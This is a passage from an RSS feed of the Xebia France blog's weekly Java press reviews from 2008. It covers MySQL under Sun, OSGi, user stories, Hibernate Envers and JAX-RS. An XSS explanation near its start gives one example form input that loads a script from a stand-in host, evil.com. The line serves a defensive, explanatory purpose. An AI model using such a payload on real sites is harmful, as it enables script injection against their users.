href="http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf" title="JavaScript Hijacking" >JavaScript Hijacking</a> par Brian Chess, Yekaterina Tsipenyuk O&#8217;Neil et Jacob West.</li></ul><p><strong>Cross Site Scripting (XSS)</strong></p><ul><li>Description : Problème maintenant bien connu mais toujours aussi dangereux d&#8217;injection de javascript dans des pages web.</li><li>Exemple : saisie d&#8217;une valeur malicieuse dans un champ de formulaire telle que <code>Joe&lt;script src="http://evil.com/danger.js" /&gt;</code></li><li>Protections : Restreindre les données en entrée, escaper les données affichées et fixer l&#8217;encodage des pages.</li></ul><p>&nbsp;</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/</link> <comments>http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#comments</comments> <pubDate>Mon, 28 Apr 2008 17:04:41 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Hibernate]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[JPA]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[OSGi]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Sun]]></category> <category><![CDATA[Websphere]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII MySQL by Sun : Revirement de stratégie open source ? Choquant ? Superpackages (JSR-294) vs. OSGI : Episode n° 34291567&#8230;. Agilité User stories &#171;&#160;En tant que &#8230; je veux &#8230;&#160;&#187; Le coin de la technique De la sérialisation au parallélisme, [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#MySQLbySunRevirementdestratgie">MySQL by Sun : Revirement de stratégie open source ? Choquant ?</a></li><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#SuperpackagesJSRvsOSGIEpisoden">Superpackages (JSR-294) vs. OSGI : Episode n° 34291567&#8230;.</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#UserstoriesEntantquejeveux">User stories &laquo;&nbsp;En tant que &#8230; je veux &#8230;&nbsp;&raquo;</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#Delasrialisationauparalllismeu">De la sérialisation au parallélisme, une évolution incarnée par java.util.concurrent</a></li><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#InnovationautourdeJPAJBossHibe">Innovation autour de JPA : JBoss Hibernate confirme son domination avec Envers</a></li><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#VideoIntroductiontoWebSphereeX">Cas d&#8217;utilisation des grilles Java avec WebSphere eXtreme Scale/ ObjectGrid</a></li><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#JSRJAXRSRESTunehistoiredeRESTa">JSR-311 JAX-RS REST une histoire de RESTaurant</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/#XKEleprogrammedelasessiondemai">XKE, le programme de la session de mai</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="MySQLbySunRevirementdestratgie"></a>MySQL by Sun : Revirement de stratégie open source ? Choquant ?</h4><p><a
href="http://slashdot.org/" title="Slashdot" >Slashdot</a> essaie de nous emmener sur une polémique &laquo;&nbsp;Sun gâche MySQL&nbsp;&raquo; avec <a
href="http://developers.slashdot.org/article.pl?sid=08/04/16/2337224" title="Sun May Begin Close Sourcing MySQL Features" >Sun May Begin Close Sourcing MySQL Features</a> à l&#8217;occasion de l&#8217;annonce par l&#8217;éditeur de fonctionnalités (online backup, etc) qui seront uniquement disponibles dans la version payante <a
href="http://www.mysql.com/products/enterprise/" title="MySQL Enterprise" >MySQL Enterprise</a>. Au delà de l&#8217;insinuation peu crédible quand on se rappelle que l&#8217;essentiel du catalogue de Sun est disponible gratuitement, on retrouve le défi aujourd&#8217;hui classique de la monétisation de l&#8217;Open Source. Le rachat de MySQL par Sun change complétement le modèle économique de l&#8217;éditeur de base de données.</p><p>Hier, la startup MySQL, financée par des fonds de capital risque, se permettait d&#8217;être déficitaire car les candidats au rachat (Oracle puis finalement Sun) ne valorisaient pas MySQL Inc sur ses revenus mais sur les parts de marché de sa base de données. La stratégie a magnifiquement porté ses fruits puisque MySQL Inc s&#8217;est vendue un milliard de dollars à Sun, félicitations au management.</p><p>Aujourd&#8217;hui, MySQL est vraisemblablement devenue une division &#8216;classique&#8217; de Sun et doit donc devenir rentable. L&#8217;équation de la rentabilité de l&#8217;open source est complexe, Red Hat et JBoss by Red Hat ont été des pionniers sur ce chemin, souhaitons à MySql by Sun de trouver lui aussi son modèle.</p><p><a
href="http://www.theserverside.com/news/thread.tss?thread_id=49087" title="TSS : MySQL to get new features in Enterprise version" >TSS : MySQL to get new features in Enterprise version</a></p><p><i><strong>Modification du billet le 29 Avril 2008 : Jonathan Schwartz est finalement revenu en arrière et a annoncé que tous les produits que Sun distribue, sans exception, sont proposés gratuitement en licence Open source à la communauté. Pour plus de détails sur cette histoire, nous vous recommandons la série de <a
href="http://www.the451group.com/">The 451 Group</a> : <a
href="http://blogs.the451group.com/opensource/2008/04/17/mysqls-business-model-in-a-state-of-flux/">MySQL’s business model in a state of flux</a>, <a
href="http://blogs.the451group.com/opensource/2008/04/24/finding-the-right-balance-mysql%e2%80%99s-changing-development-model/">Finding the right balance &#8211; MySQL’s changing development model</a> et <a
href="http://blogs.the451group.com/opensource/2008/04/28/jonathan-schwartz-has-the-last-word-on-mysql/">Jonathan Schwartz has the last word on MySQL</a></strong></i></p><h4><a
name="SuperpackagesJSRvsOSGIEpisoden"></a>Superpackages (JSR-294) vs. OSGI : Episode n° 34291567&#8230;.</h4><p>La guerre continue entre les partisans de OSGI et ceux des JSR de SuperPackage et de JAM. Cependant, l&#8217;attaque vient cette fois-ci d&#8217;<a
href="http://blogs.sun.com/abuckley/" title="Alex Buckley" >Alex Buckley</a> de chez Sun.</p><p>Il explique dans son <a
href="http://altair.cs.oswego.edu/pipermail/jsr294-modularity-eg/2008-March/000171.html" title="email" >email</a> les inconvénients qu&#8217;il voit dans l&#8217;implémentation actuelle des superpackages[1]. En substance, il propose d&#8217;introduire à la place un nouvel &#8216;access modifier&#8217; (module).</p><p>Peter Kriens de l&#8217;OSGi Alliance semble plutôt emballé par cette <a
href="http://www.osgi.org/blog/2008/04/jsr-294-superpackages-no-more.html" title="proposition" >proposition</a>.</p><p>[1] Pour mémoire, nous avons publié en février dernier un <a
href="http://blog.xebia.fr/2008/02/27/jsr-294-les-superpackages/" title="article présentant les superpackages" >article présentant les superpackages</a></p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="UserstoriesEntantquejeveux"></a>User stories &laquo;&nbsp;En tant que &#8230; je veux &#8230;&nbsp;&raquo;</h4><p>Mike Cohn nous rappelle les 3 raisons pour lesquelles il préconise de décomposer les <a
href="http://www.mountaingoatsoftware.com/presentation/63-an-introduction-to-user-stories" title="user stories" >user stories</a> sous forme de phrase <a
href="http://blog.mountaingoatsoftware.com/?p=24" title=""En tant que &lt;role&gt;, je veux &lt;but&gt;, pour que &lt;raison&gt;"" >&laquo;&nbsp;En tant que &lt;role&gt;, je veux &lt;but&gt;, pour que &lt;raison&gt;&nbsp;&raquo;</a> (la raison est optionnelle) :</p><ul><li>L&#8217;emploi de la 1ère personne du singulier aide les développeurs à s&#8217;identifier à l&#8217;utilisateur</li><li>La structure de la phrase &#8211; représentée par 3 colonnes dans le <a
href="http://www.mountaingoatsoftware.com/product_backlog" title="Product backlog" >Product backlog</a> &#8211; aide le <a
href="http://www.mountaingoatsoftware.com/product_owner" title="Product Owner" >Product Owner</a> à comprendre et prioriser les user stories</li><li>Pour ne pas rajouter de bruit dans la description des user stories, il suffit de nommer les colonnes du Product backlog &laquo;&nbsp;En tant que &#8230;&nbsp;&raquo;, &laquo;&nbsp;je veux &#8230;&nbsp;&raquo;, &laquo;&nbsp;pour que &#8230;&nbsp;&raquo; et le backlog devient intuitif à lire.</li></ul><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Delasrialisationauparalllismeu"></a>De la sérialisation au parallélisme, une évolution incarnée par java.util.concurrent</h4><p>La programmation multi-threadée en java a évoluée : anciennement on utilisait la sérialisation incarnée par <code>synchronized</code>, désormais on peut faire du parallélisme avec l&#8217;introduction des API <code>java.util.concurrent</code> en Java 5.</p><p>Sharadjava nous présente dans sa Java Concurrency Series les différents aspects de cette nouvelle librairie :</p><ul><li><a
href="http://www.techgrasp.com/blogs/sharadjava/java-concurrency-series-simple-executor-example" title="Simple Executor example" >Simple Executor example</a> pour la parallélisation des tâches.</li><li><a
href="http://www.techgrasp.com/blogs/sharadjava/java-concurrency-series-examples-barrier" title="Barrier" >Barrier</a> pour l&#8217;attente entre tâches (on n&#8217;oubliera pas sur ce sujet le <a
href="http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/CountDownLatch.html" title="CountDownLatch" >CountDownLatch</a>).</li><li><a
href="http://www.techgrasp.com/blogs/sharadjava/java-concurrency-series-meaning-volatile-variable" title="Meaning of volatile" >Meaning of volatile</a> pour la visibilité inter-threads des valeurs des variables.</li></ul><h4><a
name="InnovationautourdeJPAJBossHibe"></a>Innovation autour de JPA : JBoss Hibernate confirme son domination avec Envers</h4><p>Après l&#8217;intégration de la recherche full text Lucene [1] et le support du Database Sharding, <a
href="http://www.hibernate.org" title="Hibernate" >Hibernate</a> confirme sa domination de l&#8217;innovation autour de JPA en ouvrant le chantier du versionnage des données. Cette problématique, bien que récurrente et accentuée par les nouvelles contraintes réglementaires (Sarbane &#038; Oaxley, etc), restait largement ignorées par nos frameworks et nos très chers design patterns. Seul Martin Fowler nous éclairait sur ce sujet délicat avec <a
href="http://www.martinfowler.com/ap2/timeNarrative.html" title="Patterns for things that change with time" >Patterns for things that change with time</a>.</p><p>JBoss comble aujourd&#8217;hui ce vide en lançant <a
href="http://www.jboss.org/envers/" title="Envers" >Envers</a>, une extension d&#8217;Hibernate qui versionne les données persistantes selon un pattern similaire au <a
href="http://www.martinfowler.com/ap2/temporalObject.html" title="Temporal Object" >Temporal Object</a> de Martin Fowler. Envers n&#8217;est qu&#8217;en version preview mais le projet est très prometteur et déjà une source d&#8217;inspiration pour les projets qui n&#8217;ont pas le temps d&#8217;attendre la première version stable.</p><p>On notera au passage qu&#8217;Envers préfère l&#8217;API standard JPA EntityManager à l&#8217;historique Session Hibernate ; on peut y voir un signe que le temps est venu pour les équipes projets de privilégier les standards JPA aux API historiques Hibernate.</p><p>Exemple d&#8217;entité persistante versionnée avec JBoss Envers</p><pre class="brush: java; title: ; notranslate">
@Entity
public class Person {
    @Id
    @GeneratedValue
    private Integer id;
    @Versioned
    private String name;
    @Versioned
    private String surname;
    @Versioned
    @ManyToOne
    private Address address;
   ...
}
</pre><p>[1] cf notre billet <a
href="http://blog.xebia.fr/2008/03/06/introduction-a-hibernate-search-googling-your-persistent-domain-model/" title="Introduction à Hibernate Search (Googling your Persistent Domain Model)" >Introduction à Hibernate Search (Googling your Persistent Domain Model)</a></p><h4><a
name="VideoIntroductiontoWebSphereeX"></a>Cas d&#8217;utilisation des grilles Java avec WebSphere eXtreme Scale/ ObjectGrid</h4><p>Billy Newport présente dans <a
href="http://www.devwebsphere.com/devwebsphere/2008/04/video-introduct.html" title="Video: Introduction to WebSphere eXtreme Scale/ObjectGrid with patterns and use cases" >Video: Introduction to WebSphere eXtreme Scale/ObjectGrid with patterns and use cases</a> les scénarios typiques d&#8217;utilisation de la grille Java d&#8217;IBM :</p><ul><li>Cache de proximité classique : la grille sert de Map distribuée ; l&#8217;application métier gère les données (chargement depuis les backends, mise en cache et sauvegarde des modifications dans les backends).</li><li>Cache de proximité avec &laquo;&nbsp;Loader synchrone&nbsp;&raquo; dans la grille : l&#8217;application métier se limite à demander des données à la grille et à les modifier ; la grille, grâce à un Loader, s&#8217;occupe de charger les données depuis les backends et sauvegarde en synchrone les données modifiées dans les backends.</li><li>Cache de proximité avec un &laquo;&nbsp;Loader à écriture différée&nbsp;&raquo; dans la grille : similaire au scénario précédent mais la sauvegarde des modifications dans les backends est asynchrone.</li><li>Cache collocalisé : l&#8217;application et la grille s&#8217;éxécutent dans les même JVM, chaque JVM héberge un noeud du cluster de l&#8217;application et un noeud de la grille. Ce scénario est typique de la mise en cache des sessions HTTP.</li></ul><p>On notera que les architectures de type <a
href="http://en.wikipedia.org/wiki/MapReduce" title="Map/Reduce" >Map/Reduce</a>, qui nécessitent une conception radicalement différente, ne semblent pas encore très répandues.</p><h4><a
name="JSRJAXRSRESTunehistoiredeRESTa"></a>JSR-311 JAX-RS REST une histoire de RESTaurant</h4><p>Dans cet <a
href="http://www.touilleur-express.fr/2008/04/25/jsr-311-jax-rs-rest-une-histoire-de-restaurant/" title="article" >article</a>, Nicolas Martignole nous présente l&#8217;architecture REST (<a
href="http://en.wikipedia.org/wiki/Representational_State_Transfer" title="Representational State Transfer" >Representational State Transfer</a>) et <a
href="http://jcp.org/en/jsr/detail?id=311" title="JSR 311: JAX-RS: The Java API for RESTful Web Services" >JSR 311: JAX-RS: The Java API for RESTful Web Services</a>. L&#8217;objectif de cette JSR est de faciliter la programmation d&#8217;applications REST en Java.<br
/> La première partie est consacrée à une introduction de REST (définition d&#8217;une ressource, lecture, création, mise à jour, suppression d&#8217;une ressource, Services Webs RESTfull).<br
/> La deuxième partie nous présente quelques détails sur l&#8217;implémentation JAX-RS avec Java.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="XKEleprogrammedelasessiondemai"></a>XKE, le programme de la session de mai</h4><p>Le prochain XKE (Xebia Knowledge Exchange) aura lieu le <strong>mardi</strong> 6 Mai 2008. Les sujets suivants seront abordés :</p><ul><li>Sessions Pratiques<ul><li>Terracotta, the Network Attached Memory (NAM)</li><li>java.util.concurrent, concours de developpement</li></ul></li></ul><ul><li>Technique<ul><li>Java et la Cryptographie</li></ul></li></ul><ul><li>Architecture<ul><li>Retour sur l&#8217;architecture de l&#8217;un des plus grand site de ecommerce de France</li><li><a
href="http://xp-france.net/index.php?option=com_content&#038;task=view&#038;id=48&#038;Itemid=120#S836" title="Tests unitaires avec les librairies de Mock" >Tests unitaires avec les librairies de Mock</a></li></ul></li></ul><ul><li>Xebia Hollande<ul><li>Intervention du CTO de <a
href="http://www.xebia.com" title="Xebia Hollande" >Xebia Hollande</a></li></ul></li></ul><p>Comme nous l&#8217;annoncions, les XKE sont <a
href="http://blog.xebia.fr/2008/02/06/xebia-ouvre-ses-journees-de-partage-de-la-connaissance-xke/" title="ouverts" >ouverts</a> à l&#8217;ensemble des personnes à l&#8217;écoute du marché de l&#8217;emploi autour des technologies Java/J2EE. Si vous êtes l&#8217;une d&#8217;entre elles , n&#8217;hésitez pas à contacter <a
href="mailto:mbacrot@xebia.fr" title="Mélanie Bacrot" >Mélanie Bacrot</a> pour vous inscrire.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/04/28/revue-de-presse-xebia-54/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> </channel> </rss>
